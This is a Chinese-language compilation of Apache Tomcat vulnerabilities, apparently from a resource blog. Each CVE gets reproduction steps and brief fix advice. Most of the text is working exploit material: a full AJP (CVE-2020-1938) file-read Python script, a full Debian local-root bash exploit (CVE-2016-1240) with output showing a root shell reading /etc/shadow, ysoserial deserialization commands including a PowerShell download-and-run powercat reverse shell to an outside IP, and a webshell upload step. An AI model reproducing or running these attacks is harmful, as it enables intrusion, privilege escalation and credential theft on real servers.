tomcat漏洞汇总 - 悠久资源

PUT 任意文件上传(CVE-2017-12615)

影响版本

tomcat 7.0.0~7.0.79

漏洞复现

1. 访问apache tomcat首页 http://192.168.17.140:8080

2. 访问http://192.168.17.140:8080/，使用burpsuit工具进行抓包，并将请求包发送至Repeater

3.将请求包GET方式改为PUT方式，上传ceshi.jsp，内容为“Hello Word”，点击发送，发现服务器返回“201”

4.访问刚上传的ceshi.jsp文件，发现可访问，从而确定存在CVE-2017-12615漏洞

5. 接下来上传木马backdoor.jsp，如图所示上传成功

6.使用冰蝎连接shell，密码为“rebeyond”

修复建议

用户可以禁用PUT方法来防护此漏洞，操作方式如下：在Tomcat的web.xml 文件中配置org.apache.catalina.servlets.DefaultServlet的初始化参数

<init-param>
<param-name>readonly</param-name>
<param-value>true</param-value>
</init-param>

确保readonly参数为true（默认值），即不允许DELETE和PUT操作。

远程代码执行(CVE-2019-0232)

影响版本

tomcat 7.0.94之前

tomcat 8.5.40之前

tomcat 9.0.19之前版本都会影响

漏洞复现

1.首先修改apache-tomcat-9.0.13\\conf\\ web.xml

将此段注释删除，并添加红框内代码。

<init-param>
<param-name>enableCmdLineArguments</param-name>
<param-value>true</param-value>
</init-param>
<init-param>
<param-name>executadle</param-name>
<param-value></param-value>
</init-param>

2.将此处注释删除

3. 更改

apache-tomcat-9.0.13\\conf\\ context.xml

4.在apache-tomcat-9.0.13\\webapps\\ROOT\\WEB-INF目录下，新建 cgi-bin 文件夹在文件夹内创建一个.bat文件

@echo off
echo Content-Type: test/plain
echo.
set foo=&~1
%foo%

5. 在后边追加命令，即可实现命令执行操作

修复建议

1. 禁用enableCmdLineArguments参数。

2. 在conf/web.xml中覆写采用更严格的参数合法性检验规则。

3. 升级tomcat到9.0.17以上版本。

Apache-Tomcat-Ajp漏洞(CVE-2020-1938)

影响版本

Apache Tomcat 6

Apache Tomcat 7 < 7.0.100

Apache Tomcat 8 < 8.5.51

Apache Tomcat 9 < 9.0.31

开启了8009端口的ajp服务

漏洞复现

1. 网址中下载Tomcat，下载好安装包之后，进入bin目录执行startup.bat启动tomcat

2.访问http://localhost:8080

3.修改配置文件,首先修改apache-tomcat-9.0.13\\conf\\ web.xml

将此段注释删除，并添加红框内代码

<init-param>
<param-name>enableCmdLineArguments</param-name>
<param-value>true</param-value>
</init-param>
<init-param>
<param-name>executadle</param-name>
<param-value></param-value>
</init-param>

4.将此处注释删除

5. 修改 apache-tomcat-9.0.13\\conf\\ context.xml

添加privileged="true"语句如下图

环境搭建完成！

6. 在cmd下执行python脚本

脚本代码如下：

#!/usr/bin/env python
#CNVD-2020-10487 Tomcat-Ajp lfi
#by ydhcui
import struct
# Some references:
# https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html
def pack_string(s):
if s is None:
return struct.pack(\”>h\”, -1)
l = len(s)
return struct.pack(\”>H%dsb\” % l, l, s.encode(\’utf8\’), 0)
def unpack(stream, fmt):
size = struct.calcsize(fmt)
buf = stream.read(size)
return struct.unpack(fmt, buf)
def unpack_string(stream):
size, = unpack(stream, \”>h\”)
if size == -1: # null string
return None
res, = unpack(stream, \”%ds\” % size)
stream.read(1) # \\0
return res
class NotFoundException(Exception):
pass
class AjpBodyRequest(object):
# server == web server, container == servlet
SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
MAX_REQUEST_LENGTH = 8186
def __init__(self, data_stream, data_len, data_direction=None):
self.data_stream = data_stream
self.data_len = data_len
self.data_direction = data_direction
def serialize(self):
data = self.data_stream.read(AjpBodyRequest.MAX_REQUEST_LENGTH)
if len(data) == 0:
return struct.pack(\”>bbH\”, 0x12, 0x34, 0x00)
else:
res = struct.pack(\”>H\”, len(data))
res += data
if self.data_direction == AjpBodyRequest.SERVER_TO_CONTAINER:
header = struct.pack(\”>bbH\”, 0x12, 0x34, len(res))
else:
header = struct.pack(\”>bbH\”, 0x41, 0x42, len(res))
return header + res
def send_and_receive(self, socket, stream):
while True:
data = self.serialize()
socket.send(data)
r = AjpResponse.receive(stream)
while r.prefix_code != AjpResponse.GET_BODY_CHUNK and r.prefix_code != AjpResponse.SEND_HEADERS:
r = AjpResponse.receive(stream)
if r.prefix_code == AjpResponse.SEND_HEADERS or len(data) == 4:
break
class AjpForwardRequest(object):
_, OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, ACL, REPORT, VERSION_CONTROL, CHECKIN, CHECKOUT, UNCHECKOUT, SEARCH, MKWORKSPACE, UPDATE, LABEL, MERGE, BASELINE_CONTROL, MKACTIVITY = range(28)
REQUEST_METHODS = {\’GET\’: GET, \’POST\’: POST, \’HEAD\’: HEAD, \’OPTIONS\’: OPTIONS, \’PUT\’: PUT, \’DELETE\’: DELETE, \’TRACE\’: TRACE}
# server == web server, container == servlet
SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
COMMON_HEADERS = [\”SC_REQ_ACCEPT\”,
\”SC_REQ_ACCEPT_CHARSET\”, \”SC_REQ_ACCEPT_ENCODING\”, \”SC_REQ_ACCEPT_LANGUAGE\”, \”SC_REQ_AUTHORIZATION\”,
\”SC_REQ_CONNECTION\”, \”SC_REQ_CONTENT_TYPE\”, \”SC_REQ_CONTENT_LENGTH\”, \”SC_REQ_COOKIE\”, \”SC_REQ_COOKIE2\”,
\”SC_REQ_HOST\”, \”SC_REQ_PRAGMA\”, \”SC_REQ_REFERER\”, \”SC_REQ_USER_AGENT\”
]
ATTRIBUTES = [\”context\”, \”servlet_path\”, \”remote_user\”, \”auth_type\”, \”query_string\”, \”route\”, \”ssl_cert\”, \”ssl_cipher\”, \”ssl_session\”, \”req_attribute\”, \”ssl_key_size\”, \”secret\”, \”stored_method\”]
def __init__(self, data_direction=None):
self.prefix_code = 0x02
self.method = None
self.protocol = None
self.req_uri = None
self.remote_addr = None
self.remote_host = None
self.server_name = None
self.server_port = None
self.is_ssl = None
self.num_headers = None
self.request_headers = None
self.attributes = None
self.data_direction = data_direction
def pack_headers(self):
self.num_headers = len(self.request_headers)
res = \”\”
res = struct.pack(\”>h\”, self.num_headers)
for h_name in self.request_headers:
if h_name.startswith(\”SC_REQ\”):
code = AjpForwardRequest.COMMON_HEADERS.index(h_name) + 1
res += struct.pack(\”BB\”, 0xA0, code)
else:
res += pack_string(h_name)
res += pack_string(self.request_headers[h_name])
return res
def pack_attributes(self):
res = b\”\”
for attr in self.attributes:
a_name = attr[\’name\’]
code = AjpForwardRequest.ATTRIBUTES.index(a_name) + 1
res += struct.pack(\”b\”, code)
if a_name == \”req_attribute\”:
aa_name, a_value = attr[\’value\’]
res += pack_string(aa_name)
res += pack_string(a_value)
else:
res += pack_string(attr[\’value\’])
res += struct.pack(\”B\”, 0xFF)
return res
def serialize(self):
res = \”\”
res = struct.pack(\”bb\”, self.prefix_code, self.method)
res += pack_string(self.protocol)
res += pack_string(self.req_uri)
res += pack_string(self.remote_addr)
res += pack_string(self.remote_host)
res += pack_string(self.server_name)
res += struct.pack(\”>h\”, self.server_port)
res += struct.pack(\”?\”, self.is_ssl)
res += self.pack_headers()
res += self.pack_attributes()
if self.data_direction == AjpForwardRequest.SERVER_TO_CONTAINER:
header = struct.pack(\”>bbh\”, 0x12, 0x34, len(res))
else:
header = struct.pack(\”>bbh\”, 0x41, 0x42, len(res))
return header + res
def parse(self, raw_packet):
stream = StringIO(raw_packet)
self.magic1, self.magic2, data_len = unpack(stream, \”bbH\”)
self.prefix_code, self.method = unpack(stream, \”bb\”)
self.protocol = unpack_string(stream)
self.req_uri = unpack_string(stream)
self.remote_addr = unpack_string(stream)
self.remote_host = unpack_string(stream)
self.server_name = unpack_string(stream)
self.server_port = unpack(stream, \”>h\”)
self.is_ssl = unpack(stream, \”?\”)
self.num_headers, = unpack(stream, \”>H\”)
self.request_headers = {}
for i in range(self.num_headers):
code, = unpack(stream, \”>H\”)
if code > 0xA000:
h_name = AjpForwardRequest.COMMON_HEADERS[code – 0xA001]
else:
h_name = unpack(stream, \”%ds\” % code)
stream.read(1) # \\0
h_value = unpack_string(stream)
self.request_headers[h_name] = h_value
def send_and_receive(self, socket, stream, save_cookies=False):
res = []
i = socket.sendall(self.serialize())
if self.method == AjpForwardRequest.POST:
return res
r = AjpResponse.receive(stream)
assert r.prefix_code == AjpResponse.SEND_HEADERS
res.append(r)
if save_cookies and \’Set-Cookie\’ in r.response_headers:
self.headers[\’SC_REQ_COOKIE\’] = r.response_headers[\’Set-Cookie\’]
# read body chunks and end response packets
while True:
r = AjpResponse.receive(stream)
res.append(r)
if r.prefix_code == AjpResponse.END_RESPONSE:
break
elif r.prefix_code == AjpResponse.SEND_BODY_CHUNK:
continue
else:
raise NotImplementedError
break
return res
class AjpResponse(object):
_,_,_,SEND_BODY_CHUNK, SEND_HEADERS, END_RESPONSE, GET_BODY_CHUNK = range(7)
COMMON_SEND_HEADERS = [
\”Content-Type\”, \”Content-Language\”, \”Content-Length\”, \”Date\”, \”Last-Modified\”,
\”Location\”, \”Set-Cookie\”, \”Set-Cookie2\”, \”Servlet-Engine\”, \”Status\”, \”WWW-Authenticate\”
]
def parse(self, stream):
# read headers
self.magic, self.data_length, self.prefix_code = unpack(stream, \”>HHb\”)
if self.prefix_code == AjpResponse.SEND_HEADERS:
self.parse_send_headers(stream)
elif self.prefix_code == AjpResponse.SEND_BODY_CHUNK:
self.parse_send_body_chunk(stream)
elif self.prefix_code == AjpResponse.END_RESPONSE:
self.parse_end_response(stream)
elif self.prefix_code == AjpResponse.GET_BODY_CHUNK:
self.parse_get_body_chunk(stream)
else:
raise NotImplementedError
def parse_send_headers(self, stream):
self.http_status_code, = unpack(stream, \”>H\”)
self.http_status_msg = unpack_string(stream)
self.num_headers, = unpack(stream, \”>H\”)
self.response_headers = {}
for i in range(self.num_headers):
code, = unpack(stream, \”>H\”)
if code <= 0xA000: # custom header
h_name, = unpack(stream, \”%ds\” % code)
stream.read(1) # \\0
h_value = unpack_string(stream)
else:
h_name = AjpResponse.COMMON_SEND_HEADERS[code-0xA001]
h_value = unpack_string(stream)
self.response_headers[h_name] = h_value
def parse_send_body_chunk(self, stream):
self.data_length, = unpack(stream, \”>H\”)
self.data = stream.read(self.data_length+1)
def parse_end_response(self, stream):
self.reuse, = unpack(stream, \”b\”)
def parse_get_body_chunk(self, stream):
rlen, = unpack(stream, \”>H\”)
return rlen
@staticmethod
def receive(stream):
r = AjpResponse()
r.parse(stream)
return r
import socket
def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET):
fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER)
fr.method = method
fr.protocol = \”HTTP/1.1\”
fr.req_uri = req_uri
fr.remote_addr = target_host
fr.remote_host = None
fr.server_name = target_host
fr.server_port = 80
fr.request_headers = {
\’SC_REQ_ACCEPT\’: \’text/html\’,
\’SC_REQ_CONNECTION\’: \’keep-alive\’,
\’SC_REQ_CONTENT_LENGTH\’: \’0\’,
\’SC_REQ_HOST\’: target_host,
\’SC_REQ_USER_AGENT\’: \’Mozilla\’,
\’Accept-Encoding\’: \’gzip, deflate, sdch\’,
\’Accept-Language\’: \’en-US,en;q=0.5\’,
\’Upgrade-Insecure-Requests\’: \’1\’,
\’Cache-Control\’: \’max-age=0\’
}
fr.is_ssl = False
fr.attributes = []
return fr
class Tomcat(object):
def __init__(self, target_host, target_port):
self.target_host = target_host
self.target_port = target_port
self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.socket.connect((target_host, target_port))
self.stream = self.socket.makefile(\”rb\”, bufsize=0)
def perform_request(self, req_uri, headers={}, method=\’GET\’, user=None, password=None, attributes=[]):
self.req_uri = req_uri
self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri, method=AjpForwardRequest.REQUEST_METHODS.get(method))
print(\”Getting resource at ajp13://%s:%d%s\” % (self.target_host, self.target_port, req_uri))
if user is not None and password is not None:
self.forward_request.request_headers[\’SC_REQ_AUTHORIZATION\’] = \”Basic \” + (\”%s:%s\” % (user, password)).encode(\’base64\’).replace(\’\\n\’, \’\’)
for h in headers:
self.forward_request.request_headers[h] = headers[h]
for a in attributes:
self.forward_request.attributes.append(a)
responses = self.forward_request.send_and_receive(self.socket, self.stream)
if len(responses) == 0:
return None, None
snd_hdrs_res = responses[0]
data_res = responses[1:-1]
if len(data_res) == 0:
print(\”No data in response. Headers:%s\\n\” % snd_hdrs_res.response_headers)
return snd_hdrs_res, data_res
\’\’\’
javax.servlet.include.request_uri
javax.servlet.include.path_info
javax.servlet.include.servlet_path
\’\’\’
import argparse
parser = argparse.ArgumentParser()
parser.add_argument(\”target\”, type=str, help=\”Hostname or IP to attack\”)
parser.add_argument(\’-p\’, \’–port\’, type=int, default=8009, help=\”AJP port to attack (default is 8009)\”)
parser.add_argument(\”-f\”, \’–file\’, type=str, default=\’WEB-INF/web.xml\’, help=\”file path :(WEB-INF/web.xml)\”)
args = parser.parse_args()
t = Tomcat(args.target, args.port)
_,data = t.perform_request(\’/asdf\’,attributes=[
{\’name\’:\’req_attribute\’,\’value\’:[\’javax.servlet.include.request_uri\’,\’/\’]},
{\’name\’:\’req_attribute\’,\’value\’:[\’javax.servlet.include.path_info\’,args.file]},
{\’name\’:\’req_attribute\’,\’value\’:[\’javax.servlet.include.servlet_path\’,\’/\’]},
])
print(\’—————————-\’)
print(\”\”.join([d.data for d in data]))

7.可以成功访问文件，漏洞复现成功！

修复建议

1、禁用AIP协议端口，在conf/server.xml配置文件中注释掉<Connector port=“8009” protocol="AJP/1.3"redirectPort=“8443”/>

2、升级官方最新版本。

Tomcat Session(CVE-2020-9484)反序列化漏洞

影响版本

Apache Tomcat 10.0.0-M1—10.0.0-M4

Apache Tomcat 9.0.0.M1—9.0.34

Apache Tomcat 8.5.0—8.5.54

Apache Tomcat 7.0.0—7.0.103

攻击者能够控制服务器上文件的内容和文件名称
服务器PersistenceManager配置中使用了FileStore
PersistenceManager中的sessionAttributeValueClassNameFilter被配置为“null”，或者过滤器不够严格，导致允许攻击者提供反序列化数据的对象
攻击者知道使用的FileStore存储位置到攻击者可控文件的相对路径

漏洞复现

下载ysoserial 一个生成java反序列化 payload 的 .jar 包

下载地址： https://github.com/frohoff/ysoserial.git

用浏览器下载，解压，并生成一个jar包，复制进linux系统

生成jar包的方式，进入文件夹的目录输入输入命令： mvn package

编译有点慢需要几分钟世间

编译完成后在target目录下，有jar包

执行下面语句生成 payload

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar Groovy1 \”touch /tmp/2333\” > /tmp/test.session

使用以下命令访问tomcat服务

curl \’http://127.0.0.1:8080/index.jsp\’ -H \’Cookie: JSESSIONID=../../../../../tmp/test\’

虽然显示报错，但是也执行了。在/tmp目录下创建了2333目录

修复建议升级到 Apache Tomcat 10.0.0-M5 及以上版本升级到 Apache Tomcat 9.0.35 及以上版本升级到 Apache Tomcat 8.5.55 及以上版本升级到 Apache Tomcat 7.0.104 及以上版本

临时修复建议

禁止使用Session持久化功能FileStore

Tomcat反序列化漏洞(CVE-2016-8735)

影响版本

Apache Tomcat 9.0.0.M1 to 9.0.0.M11Apache Tomcat 8.5.0 to 8.5.6Apache Tomcat 8.0.0.RC1 to 8.0.38Apache Tomcat 7.0.0 to 7.0.72Apache Tomcat 6.0.0 to 6.0.47

外部需要开启JmxRemoteLifecycleListener监听的 10001 和 10002 端口，来实现远程代码执行

漏洞复现

环境：Tomcat7.0.39

在 conf/server.xml 中第 30 行中配置启用JmxRemoteLifecycleListener功能监听的端口

配置好 jmx 的端口后，我们在 tomcat 版本(Index of /dist/tomcat)所对应的 extras/ 目录下来下载 catalina-jmx-remote.jar 以及下载 groovy-2.3.9.jar 两个jar 包。下载完成后放至在lib目录下。

接着我们再去bin目录下修改catalina.bat脚本。在ExecuteThe Requested Command注释前面添加这么一行。主要配置的意思是设置启动tomcat的相关配置，不开启远程监听jvm信息。设置不启用他的ssl链接和不使用监控的账户。具体的配置可以去了解一下利用tomcat的jmx监控。

然后启动 Tomcat ，看看本地的 10001 和 10002 端口是否开放

漏洞利用代码

java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit 127.0.0.1 10001 Groovy1 \”calc.exe\”

但是由于该命令没有回显，所以我们还是选择反弹shell回来，以下是反弹nc的shell。更多的关于windows反弹shell的cmd和powershell命令

java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit 127.0.0.1 10001 Groovy1 \”powershell IEX (New-Object System.Net.Webclient).DownloadString(\’https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1\’);powercat -c 192.168.10.11 -p 8888 -e cmd\”

修复建议

1、关闭 JmxRemoteLifecycleListener 功能，或者是对 jmx JmxRemoteLifecycleListener 远程端口进行网络访问控制。同时，增加严格的认证方式。

2、根据官方去升级更新相对应的版本。

Tomcat本地提权漏洞(CVE-2016-1240)

影响版本

Tomcat 8 <= 8.0.36-2Tomcat 7 <= 7.0.70-2Tomcat 6 <= 6.0.45+dfsg-1~deb8u1

通过deb包安装的tomcat
需要重启tomcat
受影响的系统包括Debian、Ubuntu，其他使用相应deb包的系统也可能受到影响

漏洞复现

Debian系统的Linux上管理员通常利用apt-get进行包管理，CVE-2016-1240这一漏洞其问题出在Tomcat的deb包中,使 deb包安装的Tomcat程序会自动为管理员安装一个启动脚本：/etc/init.d/tocat*利用该脚本，可导致攻击者通过低权限的Tomcat用户获得系统root权限！

本地攻击者，作为tomcat用户（比如说，通过web应用的漏洞）若将catalina.out修改为指向任意系统文件的链接，一旦Tomcat init脚本（ROOT权限运行）在服务重启后再次打开catalina.out文件，攻击者就可获取ROOT权限。

漏洞poc

#!/bin/bash
#
# Tomcat 6/7/8 on Debian-based distros – Local Root Privilege Escalation Exploit
#
# CVE-2016-1240
#
# Discovered and coded by:
#
# Dawid Golunski
# http://legalhackers.com
#
# This exploit targets Tomcat (versions 6, 7 and 8) packaging on
# Debian-based distros including Debian, Ubuntu etc.
# It allows attackers with a tomcat shell (e.g. obtained remotely through a
# vulnerable java webapp, or locally via weak permissions on webapps in the
# Tomcat webroot directories etc.) to escalate their privileges to root.
#
# Usage:
# ./tomcat-rootprivesc-deb.sh path_to_catalina.out [-deferred]
#
# The exploit can used in two ways:
#
# -active (assumed by default) – which waits for a Tomcat restart in a loop and instantly
# gains/executes a rootshell via ld.so.preload as soon as Tomcat service is restarted.
# It also gives attacker a chance to execute: kill [tomcat-pid] command to force/speed up
# a Tomcat restart (done manually by an admin, or potentially by some tomcat service watchdog etc.)
#
# -deferred (requires the -deferred switch on argv[2]) – this mode symlinks the logfile to
# /etc/default/locale and exits. It removes the need for the exploit to run in a loop waiting.
# Attackers can come back at a later time and check on the /etc/default/locale file. Upon a
# Tomcat restart / server reboot, the file should be owned by tomcat user. The attackers can
# then add arbitrary commands to the file which will be executed with root privileges by
# the /etc/cron.daily/tomcatN logrotation cronjob (run daily around 6:25am on default
# Ubuntu/Debian Tomcat installations).
#
# See full advisory for details at:
# http://legalhackers.com/advisories/Tomcat-DebPkgs-Root-Privilege-Escalation-Exploit-CVE-2016-1240.html
#
# Disclaimer:
# For testing purposes only. Do no harm.
#
BACKDOORSH=\”/bin/bash\”
BACKDOORPATH=\”/tmp/tomcatrootsh\”
PRIVESCLIB=\”/tmp/privesclib.so\”
PRIVESCSRC=\”/tmp/privesclib.c\”
SUIDBIN=\”/usr/bin/sudo\”
function cleanexit {
# Cleanup
echo -e \”\\n[+] Cleaning up…\”
rm -f $PRIVESCSRC
rm -f $PRIVESCLIB
rm -f $TOMCATLOG
touch $TOMCATLOG
if [ -f /etc/ld.so.preload ]; then
echo -n > /etc/ld.so.preload 2>/dev/null
fi
echo -e \”\\n[+] Job done. Exiting with code $1 \\n\”
exit $1
}
function ctrl_c() {
echo -e \”\\n[+] Active exploitation aborted. Remember you can use -deferred switch for deferred exploitation.\”
cleanexit 0
}
#intro
echo -e \”\\033[94m \\nTomcat 6/7/8 on Debian-based distros – Local Root Privilege Escalation Exploit\\nCVE-2016-1240\\n\”
echo -e \”Discovered and coded by: \\n\\nDawid Golunski \\nhttp://legalhackers.com \\033[0m\”
# Args
if [ $# -lt 1 ]; then
echo -e \”\\n[!] Exploit usage: \\n\\n$0 path_to_catalina.out [-deferred]\\n\”
exit 3
fi
if [ \”$2\” = \”-deferred\” ]; then
mode=\”deferred\”
else
mode=\”active\”
fi
# Priv check
echo -e \”\\n[+] Starting the exploit in [\\033[94m$mode\\033[0m] mode with the following privileges: \\n`id`\”
id | grep -q tomcat
if [ $? -ne 0 ]; then
echo -e \”\\n[!] You need to execute the exploit as tomcat user! Exiting.\\n\”
exit 3
fi
# Set target paths
TOMCATLOG=\”$1\”
if [ ! -f $TOMCATLOG ]; then
echo -e \”\\n[!] The specified Tomcat catalina.out log ($TOMCATLOG) doesn\’t exist. Try again.\\n\”
exit 3
fi
echo -e \”\\n[+] Target Tomcat log file set to $TOMCATLOG\”
# [ Deferred exploitation ]
# Symlink the log file to /etc/default/locale file which gets executed daily on default
# tomcat installations on Debian/Ubuntu by the /etc/cron.daily/tomcatN logrotation cronjob around 6:25am.
# Attackers can freely add their commands to the /etc/default/locale script after Tomcat has been
# restarted and file owner gets changed.
if [ \”$mode\” = \”deferred\” ]; then
rm -f $TOMCATLOG && ln -s /etc/default/locale $TOMCATLOG
if [ $? -ne 0 ]; then
echo -e \”\\n[!] Couldn\’t remove the $TOMCATLOG file or create a symlink.\”
cleanexit 3
fi
echo -e \”\\n[+] Symlink created at: \\n`ls -l $TOMCATLOG`\”
echo -e \”\\n[+] The current owner of the file is: \\n`ls -l /etc/default/locale`\”
echo -ne \”\\n[+] Keep an eye on the owner change on /etc/default/locale . After the Tomcat restart / system reboot\”
echo -ne \”\\n you\’ll be able to add arbitrary commands to the file which will get executed with root privileges\”
echo -ne \”\\n at ~6:25am by the /etc/cron.daily/tomcatN log rotation cron. See also -active mode if you can\’t wait 😉
\\n\\n\”
exit 0
fi
# [ Active exploitation ]
trap ctrl_c INT
# Compile privesc preload library
echo -e \”\\n[+] Compiling the privesc shared library ($PRIVESCSRC)\”
cat <<_solibeof_>$PRIVESCSRC
#define _GNU_SOURCE
#include
#include
#include
#include
uid_t geteuid(void) {
static uid_t (*old_geteuid)();
old_geteuid = dlsym(RTLD_NEXT, \”geteuid\”);
if ( old_geteuid() == 0 ) {
chown(\”$BACKDOORPATH\”, 0, 0);
chmod(\”$BACKDOORPATH\”, 04777);
unlink(\”/etc/ld.so.preload\”);
}
return old_geteuid();
}
_solibeof_
gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl
if [ $? -ne 0 ]; then
echo -e \”\\n[!] Failed to compile the privesc lib $PRIVESCSRC.\”
cleanexit 2;
fi
# Prepare backdoor shell
cp $BACKDOORSH $BACKDOORPATH
echo -e \”\\n[+] Backdoor/low-priv shell installed at: \\n`ls -l $BACKDOORPATH`\”
# Safety check
if [ -f /etc/ld.so.preload ]; then
echo -e \”\\n[!] /etc/ld.so.preload already exists. Exiting for safety.\”
cleanexit 2
fi
# Symlink the log file to ld.so.preload
rm -f $TOMCATLOG && ln -s /etc/ld.so.preload $TOMCATLOG
if [ $? -ne 0 ]; then
echo -e \”\\n[!] Couldn\’t remove the $TOMCATLOG file or create a symlink.\”
cleanexit 3
fi
echo -e \”\\n[+] Symlink created at: \\n`ls -l $TOMCATLOG`\”
# Wait for Tomcat to re-open the logs
echo -ne \”\\n[+] Waiting for Tomcat to re-open the logs/Tomcat service restart…\”
echo -e \”\\nYou could speed things up by executing : kill [Tomcat-pid] (as tomcat user) if needed 😉
\”
while :; do
sleep 0.1
if [ -f /etc/ld.so.preload ]; then
echo $PRIVESCLIB > /etc/ld.so.preload
break;
fi
done
# /etc/ld.so.preload file should be owned by tomcat user at this point
# Inject the privesc.so shared library to escalate privileges
echo $PRIVESCLIB > /etc/ld.so.preload
echo -e \”\\n[+] Tomcat restarted. The /etc/ld.so.preload file got created with tomcat privileges: \\n`ls -l /etc/ld.so.preload`\”
echo -e \”\\n[+] Adding $PRIVESCLIB shared lib to /etc/ld.so.preload\”
echo -e \”\\n[+] The /etc/ld.so.preload file now contains: \\n`cat /etc/ld.so.preload`\”
# Escalating privileges via the SUID binary (e.g. /usr/bin/sudo)
echo -e \”\\n[+] Escalating privileges via the $SUIDBIN SUID binary to get root!\”
sudo –help 2>/dev/null >/dev/null
# Check for the rootshell
ls -l $BACKDOORPATH | grep rws | grep -q root
if [ $? -eq 0 ]; then
echo -e \”\\n[+] Rootshell got assigned root SUID perms at: \\n`ls -l $BACKDOORPATH`\”
echo -e \”\\n\\033[94mPlease tell me you\’re seeing this too 😉
\\033[0m\”
else
echo -e \”\\n[!] Failed to get root\”
cleanexit 2
fi
# Execute the rootshell
echo -e \”\\n[+] Executing the rootshell $BACKDOORPATH now! \\n\”
$BACKDOORPATH -p -c \”rm -f /etc/ld.so.preload; rm -f $PRIVESCLIB\”
$BACKDOORPATH -p
# Job done.
cleanexit 0

poc运行

tomcat7@ubuntu:/tmp$ id
uid=110(tomcat7) gid=118(tomcat7) groups=118(tomcat7)
tomcat7@ubuntu:/tmp$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 16.04 LTS
Release: 16.04
Codename: xenial
tomcat7@ubuntu:/tmp$ dpkg -l | grep tomcat
ii libtomcat7-java 7.0.68-1ubuntu0.1 all Servlet and JSP engine — core libraries
ii tomcat7 7.0.68-1ubuntu0.1 all Servlet and JSP engine
ii tomcat7-common 7.0.68-1ubuntu0.1 all Servlet and JSP engine — common files
tomcat7@ubuntu:/tmp$ ./tomcat-rootprivesc-deb.sh /var/log/tomcat7/catalina.out
Tomcat 6/7/8 on Debian-based distros – Local Root Privilege Escalation Exploit
CVE-2016-1240
Discovered and coded by:
Dawid Golunski
http://legalhackers.com
[+] Starting the exploit in [active] mode with the following privileges:
uid=110(tomcat7) gid=118(tomcat7) groups=118(tomcat7)
[+] Target Tomcat log file set to /var/log/tomcat7/catalina.out
[+] Compiling the privesc shared library (/tmp/privesclib.c)
[+] Backdoor/low-priv shell installed at:
-rwxr-xr-x 1 tomcat7 tomcat7 1037464 Sep 30 22:27 /tmp/tomcatrootsh
[+] Symlink created at:
lrwxrwxrwx 1 tomcat7 tomcat7 18 Sep 30 22:27 /var/log/tomcat7/catalina.out -> /etc/ld.so.preload
[+] Waiting for Tomcat to re-open the logs/Tomcat service restart…
You could speed things up by executing : kill [Tomcat-pid] (as tomcat user) if needed 😉
[+] Tomcat restarted. The /etc/ld.so.preload file got created with tomcat privileges:
-rw-r–r– 1 tomcat7 root 19 Sep 30 22:28 /etc/ld.so.preload
[+] Adding /tmp/privesclib.so shared lib to /etc/ld.so.preload
[+] The /etc/ld.so.preload file now contains:
/tmp/privesclib.so
[+] Escalating privileges via the /usr/bin/sudo SUID binary to get root!
[+] Rootshell got assigned root SUID perms at:
-rwsrwxrwx 1 root root 1037464 Sep 30 22:27 /tmp/tomcatrootsh
Please tell me you\’re seeing this too 😉
[+] Executing the rootshell /tmp/tomcatrootsh now!
tomcatrootsh-4.3# id
uid=110(tomcat7) gid=118(tomcat7) euid=0(root) groups=118(tomcat7)
tomcatrootsh-4.3# whoami
root
tomcatrootsh-4.3# head -n3 /etc/shadow
root:$6$oaf[cut]:16912:0:99999:7:::
daemon:*:16912:0:99999:7:::
bin:*:16912:0:99999:7:::
tomcatrootsh-4.3# exit
exit

修复建议

目前，Debian、Ubuntu等相关操作系统厂商已修复并更新受影响的Tomcat安装包。受影响用户可采取以下解决方案：

1、更新Tomcat服务器版本：

（1）针对Ubuntu公告链接http://www.ubuntu.com/usn/usn-3081-1/

（2）针对Debian公告链接https://lists.debian.org/debian-security-announce/2016/msg00249.htmlhttps://www.debian.org/security/2016/dsa-3669https://www.debian.org/security/2016/dsa-3670

2、加入-h参数防止其他文件所有者被更改，即更改Tomcat的启动脚本为：chown -h $TOMCAT6_USER “$CATALINA_PID” “$CATALINA_BASE”/logs/catalina.out